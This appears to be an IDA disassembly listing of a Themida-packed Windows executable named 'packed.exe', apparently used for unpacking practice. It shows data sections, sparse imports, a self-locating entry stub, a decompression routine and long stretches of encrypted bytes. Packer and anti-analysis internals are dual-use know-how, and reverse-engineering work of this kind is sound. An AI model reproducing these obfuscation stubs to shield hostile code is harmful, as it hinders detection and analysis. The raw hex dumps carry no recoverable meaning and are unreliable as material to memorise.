					; sub_418B59+34w
		align 10h
dword_4DB4D0	dd 80h dup(0)		; DATA XREF: sub_418DB0+61o
					; sub_418DB0+89o ...
dword_4DB6D0	dd 81h dup(0)		; DATA XREF: sub_4186C2:loc_4186FAo
					; sub_4186C2+5Bo
dword_4DB8D4	dd 0			; DATA XREF: sub_419A21:loc_419A42r
					; sub_419B10+54r ...
dword_4DB8D8	dd 0			; DATA XREF: sub_419A21r
					; sub_419B10+37r ...
dword_4DB8DC	dd 0			; DATA XREF: sub_419A51+1Ar
					; sub_419C65+83o
dword_4DB8E0	dd 0			; DATA XREF: sub_419A21:loc_419A35r
					; sub_419C65+11Bw
dword_4DB8E4	dd 0Dh dup(0)		; DATA XREF: sub_419B10+13o
					; sub_419C65:loc_419DA2o
dword_4DB918	dd 0			; DATA XREF: sub_419B10+CDr
					; sub_419B10+ECr ...
		align 10h
dword_4DB920	dd 0Eh dup(0)		; DATA XREF: sub_41A88C+47o
dword_4DB958	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB95C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB960	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB974	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB978	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB980	dd 2450B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB984	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB988	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB990	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB998	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB99C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB9A0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB9A4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB9AC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB9B0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB9B8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB9BA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB9BE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB9C0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB9C2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB9C8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB9D0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9D4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB9D8	dd 0			; DATA XREF: sub_41F312r
dword_4DB9DC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB9E0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB9E4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB9EC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB9F0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB9F4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB9F8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB9FC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DBA00	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DBA04	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DBA08	dd 0			; DATA XREF: sub_42255C+29r
dword_4DBA0C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DBA14	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DBA24	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DBA2C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DBA30	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB990o
		align 10h
		dd 3Ah dup(0)
dword_4DBB38	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DBB3C	dd 0			; DATA XREF: sub_423590+21r
dword_4DBB40	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DBB44	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DBB48	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DBB50	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DBB52	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DBB54	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DBB70	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DBB74	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DBB78	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DBB7C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DBB80	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r
		align 8
dword_4DBB88	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DBB90	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DBB94	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DBBD4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DBBD6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DBBD8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DBBDA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DBBDC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DBBDE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DBBE0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DBBE2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DBBE4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DBBE8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DBC28	dw 0			; DATA XREF: sub_424A4A+46r
word_4DBC2A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DBC2C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DBC2E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DBC30	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DBC32	dw 0			; DATA XREF: sub_424A4A+55r
word_4DBC34	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DBC36	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DBC38	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DBC3C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DBC40	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC44	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DBC48	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DBC4C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DBC50	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DBC54	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DBC58	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DBC5C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DBC60	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DBC68	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DBC6C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DBC70	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DBC74	db 0			; DATA XREF: sub_40D879r sub_40D879+9w
		align 4
dword_4DBC78	dd 2451140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DBC80	dd 400h	dup(0)		; DATA XREF: ___:off_43D0C8o
					; ___:0043D0D0o
dword_4DCC80	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DCCA0	dd 2450650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DCCA4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DCDA0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DCDA4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DCDB0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DCDBC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DCDC0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DCEC0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DCEC1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DCFC4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DCFC8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DCFCC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DCFD0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DCFD4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DCFD8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DCFDC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DCFE0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DCFE4	dd 2450000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DCFE8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DCFEC	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DCFF0	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFF4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DCFF8	dd 2450758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DCFFC	dd 2450758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000F3000 ( 995328.)
; Section size in file		: 000F3000 ( 995328.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 353878CEh, 4CED4h, 54449h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00546A16 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00549F3F SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054A1B5 SIZE 00000061 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:0043812Co
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_546A16
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_546A16
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 1573524h, 8B92BCEAh,	0CEBB3B84h, 0B8AE1001h,	8C478A21h
		dd 1175257h, 1D227175h,	0E45F1DC2h, 0FE215C11h,	0A7D7849Ch
		dd 0F95DB815h, 0FFE05B78h, 65685400h, 6164696Dh, 59FF6099h
		dd 4703B898h, 6552F0ABh, 61741C73h, 7041CE72h, 784F2E2Fh
		dd 6457219Ch, 0FF235C71h, 0C22445FEh, 3579F717h, 0DF570817h
		dd 0E103CC50h, 3622AA0Ah, 38FF1FE1h, 0FEEB4601h, 65E93321h
		dd 8B8E7F38h, 60D442C5h, 815D10E8h, 3533ED00h, 95890612h
		dd 0D046169h, 100EF5B5h, 8028A585h, 297BBD83h, 0C748083h
		dd 28E8728Bh, 7B35B8E2h, 4470C7C2h, 0E53E1C24h,	186A3440h
		dd 29A3E845h, 741E9A68h, 0DF940783h, 4B25070Ah,	0D5A40A89h
		dd 214E942h, 2F4F095h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	al, 0EEh
		pop	edx
		adc	dword ptr [eax], 23621EAh
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0E38108Fh ; CODE XREF: Themida_:004E036Bj
		inc	eax
		mov	edi, eax
		or	[ecx+1D80E67Dh], al
		xor	esi, [edi+ecx+20h]
		or	bl, bh
		sub	dword ptr [ebx+edx*4+120CFF10h], 43h
		jmp	short near ptr loc_4E034D+1
; ---------------------------------------------------------------------------
		db 36h,	0DCh, 6Eh
		dd 0C9822661h, 468004C2h, 0FF7CC481h, 0C84902D1h, 458D806Ah
		dd 85D8B80h, 1985C728h,	408D5089h, 88C3D10Ah, 89411815h
		dd 0BD81140Bh, 755D4006h, 8527E352h, 641DBA8Dh,	8A807580h
		dd 92F4BB0Eh, 0ABB8015Bh, 0D3785437h, 870FF9D0h, 0F7754B08h
		dd 47C3AF60h, 8C4AA446h, 42F95446h, 8A6157D1h, 0EBF0D040h
		dd 45EE14FBh, 0EB144DFCh, 1879AD04h, 403E8046h,	84A6BAF7h
		dd 7DC334DCh, 217FEB0Ch, 6D99F83Eh, 9509F012h, 210F40Eh
		dd 0F065C14Ah, 0F8D68004h, 7203E0D1h, 3328C0C2h, 301C8ADBh
		dd 98FB8039h, 390A0A72h, 7D057A77h, 0CF22E4EBh,	0DEC6114h
		dd 8FE660Ah, 9DBE1EDEh,	10580AC3h, 6172411Ah, 77460A0Bh
		dd 4424BD06h, 0F05D3001h, 7D83F4ECh, 723602E6h,	6EC00CB0h
		dd 0AACCA576h, 9C83F826h, 0A8D48D0Eh, 0FC553B01h, 5378820Fh
		dd 0AA83B0BDh, 0BAA1387Ch, 0C1B9C108h, 0BDFC5070h, 0FE8037B0h
		dd 4947030Fh, 22B9FA75h, 0BBB96A8Bh, 0F1E8C701h, 0CDEEB82h
		dd 868E003Bh, 71339A5h,	6F657051h, 0CAFD1D36h, 1407268Ah
		dd 590705E9h, 20D98C67h, 57C32CE0h, 7851018h, 6E4821Fh
		dd 802798ADh, 0F167405Ch, 53F16BA2h, 298704E9h,	20C45B21h
		dd 525558Ah, 8458233h, 4321001Bh, 4475C453h, 92030AD5h
		dd 0CB8CEBAAh, 82678034h, 5B4E0039h, 0B8100F76h, 43E3D51h
		dd 303B3BD1h, 9754246h,	0C011EA2Eh, 0E4EC480Eh,	6509065h
		dd 0C5058465h, 0B8968E05h, 0F0538248h, 29A8C204h, 0B8CD718Ch
		dd 0E4BB0EE7h, 812BFF30h, 22C00477h, 84C1341Dh,	753319F9h
		dd 73FBC20h, 0EF660A77h, 38027330h, 8C99EC41h, 0F9FFCC7Fh
		dd 0FE450C40h, 60A5E9h,	8C52C462h, 1108254Dh, 4CB1AA82h
		dd 84D05AABh, 0E8568A13h, 0EE825E60h, 8481AAC3h, 8A4F8109h
		dd 2013B9AAh, 43975223h, 67BD0192h, 0D1E6F4BCh,	0F984DE8Dh
		dd 0C45E6156h, 876D8AC8h, 0C4564600h, 0EA6368h,	0F996C8FFh
		dd 0E905E281h, 6250960h, 0BCAD66h, 35BABE4Fh, 10545CFDh
		dd 23148331h, 0B800FEAh, 0E62CE22Bh, 0E9002464h, 2E4C3787h
		dd 355127Dh, 10CA0B5Ch,	2F643F86h, 5A6152AEh, 4D8AC8C4h
		dd 4216448Ch, 20C45209h, 0C887203Ah, 0A108AE86h, 25BE029Ch
		dd 321EDF37h, 508417EAh, 546C4006h, 0A425DE08h,	8B13FD1Eh
		dd 0B2E18AEBh, 0EA188C04h, 0F7431B0Ah, 0D9F040C1h, 3A3E3181h
		dd 131EA28h, 25100BE9h,	0EB007CA0h, 71038F82h, 33B73442h
		dd 0DB946087h, 5D08C8E0h, 34102CCFh, 137BB0A1h,	28C200DEh
		dd 0A07547Dh, 0CC0E7484h, 552CF79Ah, 9C910F66h,	0D2041297h
		dd 0AC03805h, 3C5BD7B8h, 3306E982h, 0EF90C29h, 635E241Ch
		dd 0D3E5BB82h, 60AE8FCAh, 27DDF1Dh, 279006BAh, 4A8A1EFEh
		dd 845CB70Eh, 0A853DFEFh, 314E909h, 87A581B4h, 0C316E20Ah
		dd 0EEA0346h, 0D4130091h, 61E4FFEEh, 3A037623h,	0C7FA484h
		dd 6B08985Fh, 19740377h, 9BDC68A9h, 31377AA0h, 731E9D00h
		dd 5711904Ah, 6E28C01Bh, 2EAC7DCAh, 0E95B2400h,	17CCDC54h
		dd 0C798008Ah, 0BE79130Eh, 0CF39F9C9h, 0F61C61C4h, 688C6E90h
		dd 4A718360h, 0ED164F00h, 0C444B1FCh, 10FD07CDh, 7067041Ch
		dd 5D6EFA1h, 0CEF05C06h, 1140DFBDh, 78D76CF5h, 40EB5B00h
		dd 5FCA617Fh, 6919C074h, 0FB9C7234h, 8E508800h,	0AEA007C8h
		dd 3AC7037Dh, 7AF0BFD2h, 5B08401Eh, 1DD51700h, 1249C8h
		dd 927B3B79h, 0F20DA5ECh, 0B0297160h, 52B12Ah, 60C74BABh
		dd 13943AECh, 28D79200h, 0ACFF30BEh, 0E99089h, 0F7832533h
		dd 62EC864Ch, 3606FCE2h, 808D7DB4h, 87542A51h, 1A520088h
		dd 0B7B584FEh, 5C003DD4h, 0C07BBFD3h, 0E050650Ch, 0D1461C8Ah
		dd 0EC6FC002h, 0EEFBDF67h, 5873660Eh, 62D447EBh, 0A11F76C0h
		dd 307EE86Ah, 63697B8Dh, 0C0838560h, 6A71D5h, 2F911CAAh
		dd 0F5A953CDh, 75585C18h, 7806E38h, 0E1B5C70Fh,	0CE1EE0D9h
		dd 0EF1DA204h, 1B3CFAC2h, 0E008F7E7h, 6B5A90h, 77ECD7ADh
		dd 0EFDEB4Eh, 0CE294F67h, 0EE54D8A0h, 0E6AB368Eh, 90204049h
